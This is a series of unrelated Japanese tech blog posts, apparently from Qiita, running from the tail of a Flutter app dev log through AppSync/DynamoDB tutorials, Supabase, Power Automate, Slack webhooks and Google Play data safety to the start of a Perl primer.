④いじりながら開発を行い修正するところや追加する部分は組み替えていく

#### ①モバイルアプリケーションの開発環境の構築について

引用元：[Flutter大学の開発環境構築](https://zenn.dev/kboy/books/ca6a9c93fd23f3/viewer/5232dc)

#### ②dart言語の基礎を学習
- 簡単な記法
- for文
- 関数について
- データ型の付け方

#### ③Flutterを実際にいじってみる
- ウィジェットの学習
- dart言語でのスクリプトの実装により動的にしてみる
- データベースの作成とテーブルの作成からデータの登録

### ④いじりながら開発を行い修正するところや追加する部分は組み替えていく
- 色やウィジェットの位置の微調整
- スクリプトにより制御や動的な仕組みを取り入れる
- データベースに複数のテーブルを追加することでデータへ柔軟性を持たせる


## 実際に作成しした画面について
①メイン画面の開発
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/a09bf705-77fa-746e-580a-3479a2694c65.png)



- サインアップ画面
- ログイン画面
- ImageView(これから変更するう予定)
- Settings(これから変更するう予定)

②会員登録画面の開発
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/c107f444-5be3-e9bc-5956-f0344bc025a9.png)


- ユーザー名
- メールアドレス
- パスワード
- 性別

③登録内容確認画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/ff7d33e4-d1c7-8d9a-1262-4d43d575a78a.png)


パスワード以外の項目が出力できるようになっています。

③登録完了画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/f4ec6ccb-8788-9508-73c0-17b8f330a409.png)


④ログイン画面
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2922623/7036cb72-6f2f-a788-169b-49cc02ed14ca.png)


- ユーザー名
- パスワード
上記を入力することでログインを行うことが可能になります。

※メインの実装画面は現在は公開することができませんのでご了承ください。


## 今後の内容予定
- データベースの連携
- パスワードハッシュ化処理の実装
- ログイン処理の確認
- サインアップ画面のデータ登録確認

今後も随時更新をしていきますのでぜひよろしくお願いします。
Twitterの動画を保存: 1ツイートに複数の動画が添付されている場合

# ざっくり
1ツイートに複数の動画が添付されているとき、2つ目以降の動画を保存する方法を探し出しました。![ss0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1059738/a5a78175-15c4-1186-34cb-5fde22d7f3b0.png)

### 経緯

Twitterの新機能で、1ツイートに対して複数の動画を添付できるようになりました。

https://blog.twitter.com/ja_jp/topics/product/2022/introducing_mixed_media_videos_images_gifs_together_one_tweet

基本はありがたいアップデートなんですが問題が1点、***Web上の動画保存サービスが全然対応していない、、、、***

Twitterの動画を保存しようとした場合、まあ色々な方法があると思いますが自分の場合は「Twitter 動画 保存」とかで都度ググって適当なサービスにURLを貼り付けて対応していました。
が、この新機能に対応しているサービスが(2022年10月27日時点では)全然見つからず。
ブックマークしていた推しの動画をローカルに保存して永遠にしようとしていた自分は、推しへの愛と勇気と根気で解決策を捻り出したのでした。

# 環境情報
- OS: macOS Monterey バージョン12.6
    - Windowsでも成功したとのこと
- ブラウザ: Chrome
    - バージョン: 107.0.5304.110（Official Build） （arm64）
- テキストエディタ: VScode
    - 使いやすいエディタならなんでもOK
- 2022年11月13日に実行確認

# 手順

1. プライベートウィンドウでChromeを起動し、デベロッパーツール（表示 → 開発/管理）を開く![ss1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1059738/dcd84fd7-fc68-4f5e-106d-b9c72abbd483.png)
1. Networkタブを開く![ss2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1059738/cbcd1eef-c529-d6b1-4088-c362032dba43.png)
1. 保存したい動画が添付されたツイートのページを開く(or 開いておいて更新)
1. ⌘+F (WindowsならCtrl+F?)で検索画面を開き、```{"errors":[{"message":"Authorization:```で検索
    - 自分の環境では```{"data":{"threaded_conversation_with_injections_v2":```で検索しても同様の情報を引っ張ってこれました(こちらはプライベートウィンドウでなくでも成功)
1. レスポンス全文をコピーして適当なテキストエディタに貼り付け![ss3.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1059738/532b6c50-6ae6-7a9d-8124-26be716bca80.png)
1. ```ext_media_availability```で検索すると、添付された動画の数だけ引っかかる
1. 添付された順に並んでいるので、DLしたい動画の部分に注目
1. 直後に```.mp4```のURLがサイズ違いでいくつか存在するはず![ss4.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1059738/0f1ecbaf-6add-226e-6a4b-40b8491de277.png)
1. 好きなものを選んで開いてダウンロード![ss5.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1059738/b5f56c13-e9b6-5f6a-5578-63bdd842a47c.png)

# あとがき
- 権利的にどうとかは考えてないので自己責任で。
- スクリプトにしても良かったけど、鍵アカウントの場合とかの認証が面倒そうだったので誰かよろしくお願いいたします。
- 普通にもっと楽な方法ありそう。
THE CODE CHALLENGER VOL.0の振り返り


# はじめに
the code challengerとは、、、
G's ACADEMY UNIT SAPPOROでの卒業を機にさらに技術的なスキル向上を目指した取り組みのひとつです。
週末にはG's ACADEMY UNIT SAPPOROの授業が行われる札幌市のEZOHUBを拠点としています。
ぜひ興味があればお声がけください。

# #tcc0
遡ること8月・・・
第0回目を開催！
田中正吾さんに札幌にお越しいただいて開催されました。


### レポートのまとめ

[田中正吾さんの記事](https://www.1ft-seabass.jp/memo/2022/08/23/summary-the-code-challengers-vol0/?fbclid=IwAR0S7eRZih0WG48rwnbEEwtnRqBsmcfNGkUvBmyKJ1dbu5PhCxktLC66cGw)
[じゅんさんのnote](https://note.com/jun_vr/n/n60cc063dfb8f?fbclid=IwAR0OfukQHY3HHSz3XobiZfsW5MuW8wHXwiC4D7F7FBc_XuQ1qWftfTYJIhM)
[togetterのまとめ](https://togetter.com/li/1934460)
[いしおさんの記事](https://t.co/u1I9Is5gop)
[わたしの記事](http://runwithus.jp/article/2022/08/29/the-code-challenger-vol-0-20220822/)

# さあ第1回！
ついに第1回の開催が近づいてきました。
0回で感じた ***「アウトプットファースト」精神*** を忘れずこの場で展開できればと考えております！

あまり気張らず、長く続けていきましょう！

第1回
https://tcc.connpass.com/event/266428/
AppSync×DynamoDB（DELETE編）

# 概要
  AppSyncとDynamoDBを使用した簡易的なAPIの作成方法を紹介します。
  
  この記事では、DBのデータを削除する処理を紹介します。

# 前提条件
  - DynamoDBが用意されていること

# AppSync

## スキーマ
  ```graphql
  input CreateRadioInput {
    id: ID!
    program_name: String
    cast: [String!]
    weekday: Int
    time: String
    favorite: Boolean
  }

  # 今回追加する箇所
  input DeleteRadioInput {
    id: ID!
  }

  type Mutation {
    createRadio(input: CreateRadioInput!): Radio
    updateRadio(input: UpdateRadioInput!): Radio
    deleteRadio(input: DeleteRadioInput!): Radio # 今回追加する箇所
  }

  type Query {
    getRadio(id: ID!): Radio
    listRadio(filter: TableRadioFilterInput, limit: Int, nextToken: String): RadioConnection
  }

  type Radio {
    id: ID!
    program_name: String
    cast: [String!]
    weekday: Int
    time: String
    favorite: Boolean
  }

  type RadioConnection {
    items: [Radio]
    nextToken: String
  }

  input TableBooleanFilterInput {
    ne: Boolean
    eq: Boolean
  }

  input TableIntFilterInput {
    ne: Int
    eq: Int
    le: Int
    lt: Int
    ge: Int
    gt: Int
    contains: Int
    notContains: Int
    between: [Int]
  }

  input TableRadioFilterInput {
    day: TableIntFilterInput
    time: TableStringFilterInput
    favorite: TableBooleanFilterInput
  }

  input TableStringFilterInput {
    ne: String
    eq: String
    le: String
    lt: String
    ge: String
    gt: String
    contains: String
    notContains: String
    between: [String]
    beginsWith: String
  }

  input UpdateRadioInput {
    id: ID!
    program_name: String
    cast: [String!]
    day: Int
    time: String
    favorite: Boolean
  }
  ```

## リゾルバー
  - リゾルバーのQueryから``deleteRadio(...): Radio``の``アタッチ``を選択

### リクエストマッピングテンプレート
  ```vtl
  {
    "version": "2017-02-28",
    "operation": "DeleteItem",
    "key": {
    "id": $util.dynamodb.toDynamoDBJson($ctx.args.input.id)
    }
  }
  ```

### レスポンスマッピングテンプレート
  ```vtl
  $util.toJson($ctx.result)
  ```

# 実行
  - クエリを実行する
    - 画面左が実行クエリ、画面右が実行結果
    ![クエリ](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/3b0c1fb8-a1c4-cb56-9a6e-ca0cde64ff11.png)
  - DynamoDBのデータが削除されていることの確認
    - 削除前
    ![DynamoDB](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/8b0ed854-d2ea-a345-7479-a8257df0acc8.png)

    - 削除後
    ![DynamoDB](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/861ded44-d5ea-7089-498e-2e8ebc69444a.png)
AppSync×DynamoDB（READ(List)編）

# 概要
  AppSyncとDynamoDBを使用した簡易的なAPIの作成方法を紹介します。
  
  この記事では、条件を満たすデータをDBから複数取得する処理を紹介します。

# 前提条件
  - DynamoDBが用意されていること

# AppSync

## スキーマ
  ```graphql
  input CreateRadioInput {
    id: ID!
    program_name: String
    cast: [String!]
    weekday: Int
    time: String
    favorite: Boolean
  }

  type Mutation {
    createRadio(input: CreateRadioInput!): Radio
  }

  type Query {
    getRadio(id: ID!): Radio
    listRadio(filter: TableRadioFilterInput, limit: Int, nextToken: String): RadioConnection # 今回追加する箇所
  }

  type Radio {
    id: ID!
    program_name: String
    cast: [String!]
    weekday: Int
    time: String
    favorite: Boolean
  }

  # 今回追加する箇所
  type RadioConnection {
    items: [Radio]
    nextToken: String
  }

  # 今回追加する箇所
  input TableBooleanFilterInput {
    ne: Boolean
    eq: Boolean
  }

  # 今回追加する箇所
  input TableIntFilterInput {
    ne: Int
    eq: Int
    le: Int
    lt: Int
    ge: Int
    gt: Int
    contains: Int
    notContains: Int
    between: [Int]
  }

  # 今回追加する箇所
  input TableRadioFilterInput {
    day: TableIntFilterInput
    time: TableStringFilterInput
    favorite: TableBooleanFilterInput
  }

  # 今回追加する箇所
  input TableStringFilterInput {
    ne: String
    eq: String
    le: String
    lt: String
    ge: String
    gt: String
    contains: String
    notContains: String
    between: [String]
    beginsWith: String
  }
  ```

## リゾルバー
  - リゾルバーのQueryから``listRadio(...): RadioConnection``の``アタッチ``を選択

### リクエストマッピングテンプレート
  ```vtl
  {
    "version": "2017-02-28",
    "operation": "Scan",
    "filter": #if($context.args.filter) $util.transform.toDynamoDBFilterExpression($ctx.args.filter) #else null #end,
    "limit": $util.defaultIfNull($ctx.args.limit, 200),
    "nextToken": $util.toJson($util.defaultIfNullOrEmpty($ctx.args.nextToken, null)),
  }
  ```

### レスポンスマッピングテンプレート
  ```vtl
  $util.toJson($ctx.result)
  ```

# 実行
  - クエリを実行する
    - お気に入り登録している番組を取得する場合
    - 画面左が実行クエリ、画面右が実行結果
    ![クエリ](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/00b6a9c2-99f2-c708-faa9-e87392860b66.png)

    - DBに登録されているデータからお気に入り登録しているもののみ取得できたことがわかります
    ![DynamoDB](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/ace87467-b0f6-7566-565d-ecc8de20090c.png)
AppSync×DynamoDB（READ編）

# 概要
  AppSyncとDynamoDBを使用した簡易的なAPIの作成方法を紹介します。
  
  この記事では、DBのデータを取得する処理を紹介します。

# 前提条件
  - DynamoDBが用意されていること

# AppSync

## スキーマ
  ```graphql
  #登録処理(前の記事で作成済み)
  input CreateRadioInput {
    id: ID!
    program_name: String
    cast: [String!]
    weekday: Int
    time: String
    favorite: Boolean
  }

  type Mutation {
    createRadio(input: CreateRadioInput!): Radio #登録処理(前の記事で作成済み)
  }

  type Query {
    getRadio(id: ID!): Radio
  }

  type Radio {
    id: ID!
    program_name: String
    cast: [String!]
    weekday: Int
    time: String
    favorite: Boolean
  }
  ```

## リゾルバー
  - リゾルバーのQueryから``getRadio(...): Radio``の``アタッチ``を選択

### リクエストマッピングテンプレート
  ```vtl
  {
    "version": "2017-02-28",
    "operation": "GetItem",
    "key": {
    "id": $util.dynamodb.toDynamoDBJson($ctx.args.id)
    }
  }
  ```

### レスポンスマッピングテンプレート
  ```vtl
  $util.toJson($ctx.result)
  ```

# 実行
  - クエリを実行する
    - 画面左が実行クエリ、画面右が実行結果
  ![クエリ](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/5d6d1235-8c4b-8fdd-29bb-f695a99d1c44.png)
AppSync×DynamoDB（CREATE編）

# 概要
  AppSyncとDynamoDBを使用した簡易的なAPIの作成方法を紹介します。
  
  この記事では、DBにデータを登録する処理を紹介します。

  また、個人的にラジオが好きなので、記事全体を通してDBで管理するデータはラジオ番組情報としています。
  各々読み替えていただければと思います。

# DynamoDBでテーブルを作成する
  - テーブル名：Radio
  - パーティションキー：id 文字列
  - テーブル設定：デフォルト設定
  ![DynamoDB](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/5b2a2ffe-ee6d-66ea-a8fd-2f3451b3e974.png)

# AppSyncを作成する
  - 一から構築
  - API名：Radio App

## データソース
  - データソース名：radio_db
  - データソースタイプ：Amazon DynamoDB テーブル
  - リージョン：AP-NORTHEAST-1
  - テーブル名：Radio
  - 既存のロールを作成または使用する：新しいロール
  ![データソース](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/8537389b-a7c7-8ce6-2209-47fd8878eed2.png)

## スキーマ
  ```graphql
  input CreateRadioInput {
    id: ID!
    program_name: String
    cast: [String!]
    weekday: Int
    time: String
    favorite: Boolean
  }

  type Mutation {
    createRadio(input: CreateRadioInput!): Radio
  }

  type Query {
    getRadio(id: ID!): Radio
  }

  type Radio {
    id: ID!
    program_name: String
    cast: [String!]
    weekday: Int
    time: String
    favorite: Boolean
  }
  ```

## リゾルバー
  - リゾルバーのMutationから``createRadio(...): Radio``の``アタッチ``を選択

### リクエストマッピングテンプレート
  ```vtl
  {
    "version": "2017-02-28",
    "operation": "PutItem",
    "key": {
        "id": $util.dynamodb.toDynamoDBJson($ctx.args.input.id)
    },
    "attributeValues": $util.dynamodb.toMapValuesJson($ctx.args.input),
    "condition": {
        "expression": "attribute_not_exists(#id)",
        "expressionNames": {
        "#id": "id"
        }
    }
  }
  ```

### レスポンスマッピングテンプレート
  ```vtl
  $util.toJson($ctx.result)
  ```

# 実行
  - クエリを実行する
    - 画面左が実行クエリ、画面右が実行結果
  ![クエリ](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/7dc8ae67-4fe5-4d24-e92a-258d6cf91f0a.png)
  - DynamoDBにデータが登録されていることの確認
  ![DynamoDB](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2318120/34362c45-5a1b-5a0c-3c51-ff751f82f8d1.png)
停止状態のSupabaseを再開する手順（と個人的な感想）

## はじめに
Herokuの無料プランが終了するので、ためしにRailsアプリからSupabaseのデータベース（PostgreSQL）に接続してみました。
そのときの話は以前こちらのブログに書いています。

https://blog.jnito.com/entry/2022/10/04/104100

ただし、無料版のSupabaseは1週間使用しないと自動停止します（paused状態になる）。

この記事では停止状態のSupabaseを再開する手順を説明します。

## 自動停止に至るまで
5日間アクセスがないとSupabaseから「もうすぐ自動停止するよ」という通知メールが届きます。

> Hi Junichi Ito,
>
> To save on cloud resources I just did a scan of all our projects and identified those which have been inactive for more than 5 days.
> 
> Your project (プロジェクト名) was one of those and it is scheduled to be paused in a couple of days (you can unpause it from the dashboard at any time)
>  
> If you want, you can upgrade your project to Pro to avoid future pausings, and this can be done from the project's billing settings.
>
> Happy Hacking!

さらにその2日後、「1週間アクセスがないから停止したよ」という通知メールが届きます。

> Hi Junichi Ito,
> 
> To save on cloud resources we're currently pausing free-tier projects that are inactive for more than 7 days.
>  
> Your project (プロジェクト名) has been paused - we keep the data available and you can unpause it at any time from the dashboard.
>  
> Note that you can avoid project pausing by upgrading to Pro for $25 per project from your project's billing settings.
>  
> Happy Hacking!

自動停止状態になると当然RailsからDBにアクセスすることはできません。

![db.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/7465/21be355d-bb5f-a307-2ca9-2dfcf1f63d8c.png)

## 停止したSupabaseを再開する
Supabaseにログインし、プロジェクトの管理画面を開くと次のようにプロジェクトが停止状態であることが表示されています。

![Screen Shot 2022-11-13 at 16.51.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/7465/13df2aec-f191-da5a-50b1-9004de7f0f52.png)

"Restore project"ボタンをクリックして、プロジェクトを再開します。
これで完了！・・・と思いきや、「DBのサイズに応じてリストア（再開）には数分から数時間かかるよ」というメッセージが表示されます。

![Screen Shot 2022-11-13 at 16.51.40.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/7465/d9853b69-d5ee-f03c-5a7f-27d409f0c530.png)

リストアが完了すると、その旨メッセージが表示されます。

![Screen Shot 2022-11-13 at 16.52.42.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/7465/bcada237-c9fb-8157-fd66-394cdb6a4168.png)

ただ、僕が試したときはこのメッセージが表示されても、まだしばらくDBにはアクセスできませんでした。

僕のDBはテスト用に作ったごく小さいサイズのものですが、

- リストア完了のメッセージが表示されるまで2〜3分
- その後Railsアプリからアクセスできるようになるまで2〜3分

ぐらいかかりました。

## 個人的な感想

無料版のHerokuのアプリが停止したときは、ブラウザからそのアプリにアクセスするだけで数十秒から1分後ぐらいにアクセスできるようになりますが、Supabaseの場合は管理画面へのアクセスが必要な上、再開までに最低でも5〜6分はかかるので、Herokuほど気軽にスリープさせられないな、という印象です。

となると、「Supabaseを使うならスリープしないように、定期的にたたき起こさなきゃ！」と思う人が出てくるかもしれません。
しかし、僕が想像するに、Supabaseの無料枠はあくまでお試し用という位置づけなんだと思います。
「永遠に無料で使いたい」という気持ちだけで「定期的にたたき起こす」みたいなことをやっていると、SupabaseもそのうちHerokuのように無料枠がなくなってしまうような気がします。

便利なwebサービスが無料で永遠に使い続けられるというのはふつうに考えればどこかおかしな話なので、自分が「嬉しくない顧客」と見なされないよう、節度を持った使い方をしていく必要があるんじゃないかなーと考える今日この頃です。

## あわせて読みたい
Herokuの無料プラン終了に関していくつかブログ記事を書いています。
これまでHerokuの無料プランを利用していた人は参考にしてみてください。

https://blog.jnito.com/entry/2022/10/04/104100

https://blog.jnito.com/entry/2022/11/08/084938
採用のコツ：先ずは面談！

# いきなりですが、TypeとSpec

辞書で調べると、

Type--種類,類
Spec--仕様、明細

僕の定義では、

素質、マインド、個性等の内面的なものがType。

技量、テクニック、知識等の外面的なものがSpec。

と考えてます。

面接時に、
・新卒の場合は、Typeを特に重要視している企業が多い
・中途の場合は、Specを特に重要視している企業が多い
と思います。

# 中途でもTypeでSpecの味方が変わる
中途は、Spec重視であってもType的に良い人材で無いと採用できません。 

いくら前職で活躍できた人間だったとしても、成長欲の無い人だったり、協調性の無い人だったり、Type的に会社の価値感を共有してもらえない人は、会社を成長させてくれません。

Type的に優れた人は、自分ひとりのテクニックで解決できない事も周りの人達を動かして、課題を解決してくれます。

会社は一人ではありません。沢山の人が存在します。同じ目標に向かって、協力し合って、共鳴しあって仕事をしています。そして、組織も成長していきます。

# 履歴でSpecのみで足切りはやめよう
最終的にType+Specの合計値で採用を決めるべきでしょう。 
いや、Typeが大丈夫という基盤があってからのSpec評価。

顧問で採用で困ってる会社の話を聞いてると、Specで書類足切りしているのをよくみます。確かにSpec部分は、書類で結構見えます。

しかし、Typeはあってみないと全く分かりません。Typeが良いとSpecもよく見えてきます。

もちろん応募が山程あって面談数が多すぎて削るのは仕方ありませんが、エンジニア採用で面談数が多すぎて困ってる会社は見たことがありません。

書類は少し甘めに見ながら、先ずは、面談してみてType的にな部分もしっかりジャッジする事をオススメします。
# お願い
今後も続けていきますので、フォロー、イイね、シェアお願いします。
下記、説明会もご参加下さい。
[エンジニア年収アップ講習(転職サポート付き！)　無料説開会　12月6日　19時開催](https://cto-can-be.hp.peraichi.com/)
Power Automate クラウドフローでHTMLの処理をする


こんにちは！ [PRAアドベントカレンダー2022](https://qiita.com/advent-calendar/2022/robotic_process_automation)の5日目記事です。

普段はプロトタイピングスクールの運営を行っていますが、事務処理なども多くiPaaS系で何かやったり、授業でPower Automateなどを触れたりしています。（そしてこの辺触ってるとコード書きたくなります。）

そして執筆時点では11/13というだいぶ余裕を持った投稿をしている自分に驚いております。

## Power Automate クラウドフローという名称

元々はPower Automateといえばクラウド側しかなかったですがPower Automate Desktop（PAD）が出てきてその後Power Automate for Desktopみたいな言い方に変えてきたのでPower Automateだけだとどっちの話をしているのか分からなくなってきている現状がありますね。

今回はクラウド側の話です。

## メールからエクセルに転記

けっこう色々な人がやりたさそうなやつです。ここの細かいやり方は紹介しませんが、割と簡単にできます。

> ![スクリーンショット 2022-11-13 17.41.30.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/35387/11b24f3d-7a40-4d7d-535b-9008c06a3c14.png "スクリーンショット 2022-11-13 17.41.30.png")

outlook.comとエクセル(one drive)のモジュールを使っています。どちらもビジネスではなく個人向け。

## メール to エクセル

こんなテーブルがあったとして

> ![スクリーンショット 2022-11-13 17.42.29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/35387/ec047966-9b42-c60a-faa8-c7cbcac47479.png "スクリーンショット 2022-11-13 17.42.29.png")

メールの件名と本文に内容を入れてメールを送ることで、受信したメールをもとにエクセルに転記してくれます。

> ![スクリーンショット 2022-11-13 17.43.01.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/35387/396b8978-2b43-b33c-3847-b9446b4994c6.png "スクリーンショット 2022-11-13 17.43.01.png")


## HTMLメール問題

試していたらHTMLが入り込んでくる事象がありました。

> ![スクリーンショット 2022-11-13 17.44.14.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/35387/f30aafb5-b7f0-a828-5e71-273a1d492039.png "スクリーンショット 2022-11-13 17.44.14.png")

メーラー側の問題のようです、普段使っているGmailから送りましたが、HTMLメールになっていた模様です。

このままだと見づらいのでHTMLのタグを削除して本文だけを抽出します。

## HTMLからテキスト（プレビュー）

ドンピシャなモジュールがありました。

> ![](https://i.gyazo.com/ff4820ac6dcc40b43a2388fb67a5e65d.png)

選択したらテキストボックスに`本文`（outlookメールの動的コンテンツ）を選択し、

> ![](https://i.gyazo.com/9c9757bcaeff22a5d2d350bc707e5858.png)

エクセルの行追加のモジュール側では元々`本文`をそのまま入れていたところを`プレーンテキストコンテンツ`に変更します。

> ![](https://i.gyazo.com/fff69fa3914320d506411d1f7bfdc8ba.gif)

この`プレーンテキストコンテンツ`にHTMLタグを削除した変換後の素のテキストが入ってくるみたいですね。

ということで試してみたら無事にタグが消えた状態でエクセルに入ってくれました。

> ![スクリーンショット 2022-11-13 17.50.24.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/35387/af441a01-9baa-9db5-c29f-2cbf7447fba0.png "スクリーンショット 2022-11-13 17.50.24.png")

お疲れ様でした。

## 所感

調べるとPADばかり引っかかってそれっぽい情報がまとまってないようにも見えたのでメモとして残しました。

Power Automateのモジュールの中では珍しく特にハマらずに使えた気がします。

メール以外でもスクレイピングっぽいもの、チャットの通知など色々な場所で使える気がしますね。
WebhookとAPIトークン

# WebhookとAPIトークン

* Webhook・apiトークンでできること
* Webhookを利用してみる（Local to SlackBot）

## 初めに

[Wikipedia Webhook](https://ja.wikipedia.org/wiki/Webhook)

```txt:Webhookとは
Webhook（ウェブフック）は、web開発でカスタムのコールバックを用いてウェブページやウェブアプリケーションの動作を追加または変更するための方法である。
このコールバックは、元のウェブサイトやアプリケーションはサードパーティのユーザーや開発者がメンテナンス、修正、管理できる場合がある。「Webhook」という用語は、コンピュータプログラミングの用語hookから、2007年にJeff Lindsayによって作られた。

フォーマットには、通常JSONが利用される。リクエストは、HTTP POST（英語版）リクエストとして行われる。
```

### イメージ

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/282054/014c4b62-edc3-6a74-3a9a-ab8a98629bb7.png)


## Webhookの説明

### Webhookの種類

* Incoming Webhook

  外部から対象のアプリケーションに要求を受け付けることができる機能です。
  SlackのIncoming Webhookは指定したチャンネルに外部からメッセージなどを送信できる機能になります。
  Slack側からのデータの受信はできないので、Slack側に一方的にデータを送信するのみになります。
  何らかの自動処理が完了したタイミングで通知したり、お問い合わせフォームで送信があった場合に内容を転送する、などの使い方ができるようです。

* Outgoing Webhook

  アプリケーションから外部にイベントを通知することができる機能です。
  SlackのOutgoing Webhookは、指定したルールに該当するメッセージを外部に送信することができます。

IncomingとOutgoingを両方使うことでメッセージBotを作成することができます。

### Webhookの使い方

Webhookを利用するには、Webhookを利用するアプリケーションから、事前にAPIトークンを取得して利用する必要があります。

Outgoing は送信用なので、APIトークンが不要になるケースがほとんどです。

## ハンズオン

### Step1. Slack Incoming Webhookを作成

1. Slack Appから`Incoming WebHooks`を追加する。
1. 通知先のチャンネルは、`Botお試し`など新規で作成する。
1. 試し用のURLを利用してBOTを送信してみる。

  ```sh
  curl -X POST --data-urlencode "payload={\"channel\": \"#bots\", \"username\": \"webhookbot\", \"text\": \"This is posted to #bots and comes from a bot named webhookbot.\", \"icon_emoji\": \":ghost:\"}" https://hooks.slack.com/services/xxxxxxxx/xxxxxxxx/xxxxxxxx
  ```

  ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/282054/48187a5f-ebde-daa4-511a-641298512389.png)


### Step2. Slack Incoming WebhookにLocalからメッセージを送信する

1. Javascriptの実行環境を準備する。
  Node.jsをインストールしましょう。
1. 先ほど、curlコマンドで実行した要求をJavascriptで実装してみる。

### Step3. GASにSlackからメッセージを送信する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/282054/d134ac9c-690e-549f-34c7-68a3518063b5.png)


1. Google Apprication Scriptを準備する。
1. UrlFetchAppを利用してpost要求を実行する。

### Step4. Outgoing WehbookでGASにメッセージを送信する

1. `doPost(e)`でfunctionを作成する。
1. ウェブアプリでアプリケーションを公開。アクセスできるユーザは`全員`とする。
1. 公開したウェブアプリのURLを取得する。
1. Slack Appから`Outgoing WebHooks`を追加する。
1. GASのウェブアプリのURLを設定する。
1. 呼び出ししてみる。

GASを経由して、利用するSlackにメッセージが送信できる機能です。
そのため、Tokenの一致判定を行いアタックを回避する。

* 以下の内容を追加実装
  * Tokenの一致判定をおこない不一致の場合、処理を終了する。
  * メッセージ内容を`あなたは、「xxxx」と言いました。`と応答する。

  ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/282054/c99d0256-901f-79f7-5588-bbd9235fe9e3.png)

### Step5. Outgoing WehbookでGASにメッセージを送信後、コールバックでSlackにメッセージを送信する

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/282054/e16a7ed7-8f50-99c0-e8e6-bc561885b245.png)

1. Goolgeの翻訳API`LanguageApp.translate`を使ってみる。
1. Step4で作成したBOTを拡張してメッセージを英語に翻訳する。
【Android】データ セーフティ セクション対応しないと審査に落とされる話

# はじめに
みなさん、データ セーフティ セクションってご存知ですか？
GooglePlayが提供している機能の一つですが、公式の説明を抜粋すると、
`アプリが収集または共有するユーザーデータをユーザーに把握してもらい、アプリの主なプライバシーとセキュリティの方針を紹介するための簡単な方法です`
だそうです。
本日はこちらに関して、対応しないと審査に落とされるよ、というお話をしたいと思います。

# データ セーフティ セクション未対応で審査に落とされる話
データ セーフティ セクションは先ほど述べたとおり、ユーザーに対してアプリが取得するデータがなんなのかを通知する仕組みであるわけですが、こちらの対応が`2022年8月22日`までに対応必須だったことはご存知でしょうか？
もしかするとご存知なくアプリの審査を落とされたなんて方が中にはいるかもしれません。

データセーフティーセクションはPlayConsole上で、`アプリのコンテンツ > データセーフティ`　と確認すると設定有無が確認できます。
未設定の場合は以下のような表記になっているはずです。

![データセーフティセクション.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/354522/03dc249d-b00e-79a4-eb87-76c716a2fb22.png)

上記のように未設定な状態でデータを収集しているとストアから落とされるわけですが、このデータ収集の有無というのはマニフェスト上で定義しているパーミッションで決まります。

例えば、アプリに以下のパーミッションの定義があるとします。

`ACCESS_FINE_LOCATION`

このパーミッションをマニフェストに実装した状態でデータセーフティセクション未設定だったり、うっかり位置情報に関して申告していなかったりすると以下のようなメッセージを含むメッセージが運営者に届き、審査落ちします。

![スクリーンショット 2022-11-13 17.19.16.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/354522/34a804e2-97e1-c73a-8f44-e44fe80147cb.png)

これは定義したパーミッションの使用有無は関係ありません、位置情報を使っていなくてもマニフェストに定義しているだけで審査落ちする形になります。

定義しているだけで落ちるので、ライブラリ側も例外ではありません。
このケースはほとんどないかと思いますが、不要なパーミッションがライブラリ側に定義されている状態でも審査落ちするので、使用しているライブラリが万が一にも同じ設定が残っていないことをしっかりと確認する必要があります。

また、過去に不要なパーミッションが残っていてそのバージョンがストア上にまだ残っていたりするとこれも落ちる対象となるようです。
その場合は一度過去のバージョンを落とし、再度あげ直すしかなさそうです。

# さいごに
この対応が必須化されたのは4ヶ月も前ですが、新規でアプリをリリースする方がこれを知らないと出鼻をくじかれることになるので要注意です。
PlayConsoleも知らないうちに変わっていたりしますが、Google側もこのような必須の設定をしれっと追加したりしますので、サービス運用者並びにエンジニアも含めこの辺り見逃すことがないよう、動向をしっかりと追っておくと良いかと思います。
【Perl初学者】リファレンスとデリファレンス

# 目次
- はじめに
- [リファレンスとは](#リファレンスとは)
    - [リファレンスの種類](#リファレンスの種類)
- [デリファレンスとは](#デリファレンスとは)
    - [デリファレンスの種類](#デリファレンスの種類)
- まとめ 

# はじめに
Perlを勉強するにあたり、一番最初につまづいた部分となります。
多分`ポインタ`という言葉をご存じであればここは難なくいけると思うのですが。。
早速やっていきましょう

# リファレンスとは
